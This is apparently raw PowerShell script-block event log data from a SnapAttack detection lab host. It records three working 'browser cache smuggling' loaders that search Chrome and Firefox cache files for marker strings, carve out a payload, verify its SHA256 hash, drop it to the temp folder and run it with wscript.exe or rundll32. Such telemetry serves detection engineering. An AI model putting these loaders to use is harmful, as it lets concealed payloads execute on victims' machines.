4104 1 5 2 15 0x0 328117 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 {Join-Path $_.FullName 'Cache\Cache_Data'} da1c30c4-1ffd-469d-90e8-dce447790bfa 4104 1 3 2 15 0x0 328115 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 $root=Join-Path $env:LOCALAPPDATA 'Google\Chrome\User Data'; $dirs=Get-ChildItem $root -Directory -ea 0|%{Join-Path $_.FullName 'Cache\Cache_Data'}|?{Test-Path $_}; $startText="' Browser Cache Smuggling - VBS variant"; $done=$false; foreach($d in $dirs){foreach($f in Get-ChildItem $d -File -ea 0){try{$b=[IO.File]::ReadAllBytes($f.FullName)}catch{continue}; $s=[Text.Encoding]::ASCII.GetString($b); $i=$s.IndexOf($startText); while($i -ge 0 -and $i+255 -le $b.Length){$p=New-Object byte[] 255; [Array]::Copy($b,$i,$p,0,255); $h=[BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($p)).Replace('-','').ToLowerInvariant(); if($h -eq 'f4bf5671bc08effa0c6b16eef7ff2affae58e12846429a0204690f6d0542473f'){[IO.File]::WriteAllBytes("$env:TEMP\update2.vbs",$p); wscript.exe $env:TEMP\update2.vbs; $done=$true; break}; $i=$s.IndexOf($startText,$i+1)}; if($done){break}}; if($done){break}}; if(-not $done){Write-Output 'No matching Chrome cache entry found.'} 0efd0f6c-d179-4b13-b8d5-64da37fbaa6f 4104 1 5 2 15 0x0 328102 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 {Join-Path $_.FullName 'cache2\entries'} 7e75075c-1bed-4352-b69b-6feb39d9b264 4104 1 3 2 15 0x0 328100 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 $profiles=Get-ChildItem "$env:LOCALAPPDATA\Mozilla\Firefox\Profiles" -Directory -ea 0; $dirs=$profiles|%{Join-Path $_.FullName 'cache2\entries'}; $done=$false; foreach($d in $dirs){foreach($f in Get-ChildItem $d -File -ea 0){try{$b=[IO.File]::ReadAllBytes($f.FullName)}catch{continue}; if($b.Length -lt 255){continue}; $s=[Text.Encoding]::ASCII.GetString($b); if(-not $s.Contains('VBSHERE')){continue}; $p=New-Object byte[] 255; [Array]::Copy($b,0,$p,0,255); $h=[BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($p)).Replace('-','').ToLowerInvariant(); if($h -eq 'f4bf5671bc08effa0c6b16eef7ff2affae58e12846429a0204690f6d0542473f'){[IO.File]::WriteAllBytes("$env:TEMP\update.vbs",$p); wscript.exe $env:TEMP\update.vbs; $done=$true; break}}; if($done){break}}; if(-not $done){Write-Output 'No matching VBS cache entry found.'} 204b7b97-8239-4edb-8b33-f48e396a8e0f 4104 1 5 2 15 0x0 328087 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 {Join-Path $_.FullName 'cache2\entries'} 31ce7c28-9fa5-4911-8452-854ff1343a8e 4104 1 3 2 15 0x0 328083 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 $profiles=Get-ChildItem "$env:LOCALAPPDATA\Mozilla\Firefox\Profiles" -Directory -ea 0; $dirs=$profiles|%{Join-Path $_.FullName 'cache2\entries'}; $done=$false; foreach($d in $dirs){foreach($f in Get-ChildItem $d -File -ea 0){try{$b=[IO.File]::ReadAllBytes($f.FullName)}catch{continue}; if($b.Length -lt 90447){continue}; $s=[Text.Encoding]::ASCII.GetString($b); if(-not $s.Contains('DLLHERE')){continue}; $p=New-Object byte[] 90447; [Array]::Copy($b,0,$p,0,90447); $h=[BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($p)).Replace('-','').ToLowerInvariant(); if($h -eq '739007654ada78ccc16309fed860e904e114c85a4da6085c3df9c39c8f0e65ed'){[IO.File]::WriteAllBytes("$env:TEMP\739007654ada78ccc16309fed860e904e114c85a4da6085c3df9c39c8f0e65ed",$p); rundll32 $env:TEMP\739007654ada78ccc16309fed860e904e114c85a4da6085c3df9c39c8f0e65ed.,DllMain; $done=$true; break}}; if($done){break}}; if(-not $done){Write-Output 'No matching DLL cache entry found.'} 3d54c7d6-5ff5-49da-80ea-0b55f925c166